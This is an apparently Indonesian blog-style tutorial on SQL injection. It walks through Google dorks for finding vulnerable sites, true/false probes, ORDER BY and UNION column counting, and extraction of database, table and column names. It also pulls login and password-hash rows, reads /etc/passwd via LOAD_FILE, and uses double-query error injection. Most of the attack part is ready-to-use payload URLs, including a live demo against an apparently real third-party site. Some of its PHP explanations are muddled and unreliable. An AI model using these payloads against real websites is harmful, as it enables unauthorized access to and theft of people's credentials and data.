I. Pengertian
SQL injection adalah serangan
yang memanfaatkan kelalaian dari website yang mengijinkan user untuk
menginputkan data tertentu tanpa melakukan filter terhadap malicious character.
Inputan tersebut biasanya di masukan pada box search atau bagian-bagian
tertentu dari website yang berinteraksi dengan database SQL dari situs
tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data
yang mengandung link tertentu yang mengarahkan para korban ke website khusus
yang digunakan para attacker untuk mengambil data pribadi korban.
Untuk menghindari link
berbahaya dari website yang telah terinfeksi
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti
NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun
tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda
menjadi korban.
2. bagaimana kita
menemukan website yang vuln (kali ini saya menggunakan Google)?
dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang
vuln
ada beberapa contoh
kata kunci untuk menemukan website yang vuln :
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
3. mencari vuln
contoh , Google
memberikan kita link :
situs.com/index.php?id=1
memulai pencarian vuln di parameter ID
a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect ,
berarti website itu mengandung vulnerable
b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)
c. situs.com/index.php?id=1"+and+"1"="1 (true dan true =
true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false =
false)
d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect ,
berarti website itu mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect ,
berarti website itu mengandung vulnerable
h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect ,
berarti website itu mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln
j. situs.com/index.php?id=1)/*
k. situs.com/index.php?id=1')--+
l. situs.com/index.php?id=1"/*
m. situs.com/index.php?id=1))—+
website yang vuln tidak hanya pada query ini aja "index.php?id=1:
situs.com/index.php/id/6/
situs.com/index.HTM?id=1
kenapa ditemukan error
atau redirect????
okee agar dapat
dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan
MySql
disini saya akan
menulis script PHP yang simple dengan vulnerable
$q = "SELECT id,info FROM mytable WHERE id=".$id;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
ketika saya menulis id=1 and 1 = 1:
$q = "SELECT id,info FROM mytable WHERE id=1 and 1=1";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
dapat dilihat tidak ada error karna id = 1.
bila saya menulis id=1
and 1 = 2:
$q = "SELECT id,info FROM mytable WHERE id=1 and 1=2";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
akan keluar error
karena 1<>2.
jika saya
menulis:
$q = "SELECT
id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
atau
$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)."
' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda
mengetikan 1' maka akan menerima 1 juga.
itu berarti anda dapat
menjebol website tersebut dengan metode SQL-Injection.
4. Mencari nomor
kolom. dalam hal ini ada 2 untuk mencari nomor kolom:
a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+
apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin
terdapat dalam source code)
b. menggunakan perintah " order by" (digunakan untuk mengurutkan
kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+1+--+
(tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+
(bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar
error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda
mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan
nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+—+
atau
situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+—+
1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan
true=true) sama dengan id=1
5. mengeluarkan
database sekarang kita akan mengeluarkan database
dalam hal ini saya
sertakan dengan Live Demo:
http://www.ewpa-majs...ECT+1,2,3,4+--+
4 tabel, nomor kolom:
3
tapi sebelum itu, kita
harus mencari database, user dan versi MySqlnya.
Berikut contoh
pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
0x3a - adalah konversi
hex dari " : ".
anda juga dapat
menggunakan syntax tanpa ():
version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log
kemudian kita harus menemukan semua databasenya:
Berikut Syntax yang
digunakan :
group_concat(schema_name)
+ from + information_schema.schemata
Berikut Contoh
Pengeluaran Databasenya:
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
seperti yang kita liat
ada 2 database : information_schema,ewpa_majster01
kemudian kita
melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang
digunakan :
group_concat(table_name)
from information_schema.tables
Berikut contoh pengeluaran nama tabelnya :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak
nama tabelnya jadi saya tidak menulisnya disini...
karna kita tidak
memerlukan tabel yang dari database "information_schema":
berikut syntax yang
digunakan :
group_concat(table_name) from information_schema.tables + where +
table_schema<>information_schema
Berikut Contoh pengeluaran nama tabel tanpa tabel dari database
"information_schema" :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61
= hasil konversi hex dari "information_schema"
tapi anda juga bisa
mencoba ini:
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
kemudian kita harus
menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang
digunakan :
group_concat(column_name) + from + information_schema.columns + where +
table_name=0xHEXDARINAMATABEL
Berikut contoh mengeluarkan kolom dari tabel :
http://www.ewpa-majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+—+
657770615f75736572 =
hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom :
id,login,pass
Kemudian Langkah Selanjutnya
adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang
digunakan :
group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel
Berikut contoh mengeluarkan seluruh isi kolom dari tabel :
Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...
jika anda ingin
mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :
Jika Keluar Error : "Illegal mix of collations" anda harus
menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))
melihat password r00t:
berikut syntax yang
digunakan :
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+—+
atau
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+—+
jika anda mempunya password r00t anda bisa melakukan apapun diserver itu..
(contoh menggunakan program telnet)
6. 2 query jika anda menginject
website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan
keluar error :
Berikut Contoh Syntax
yang digunakan untuk double query :
situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SE
LECT+NAME_CONST(user(),14)a)b)c)
>v5.0.12
NAME_CONST(nama,value)
Bagaimana Query ini
bekerja..?
gabungkan query kiri
ke query kanan dengan satu nama kolom.
Sekian Sedikit
Penjelasan Saya Tentang "Pengertian SQL Injection & Cara
Mengimplementasikannya"
DAFTAR PUSTAKA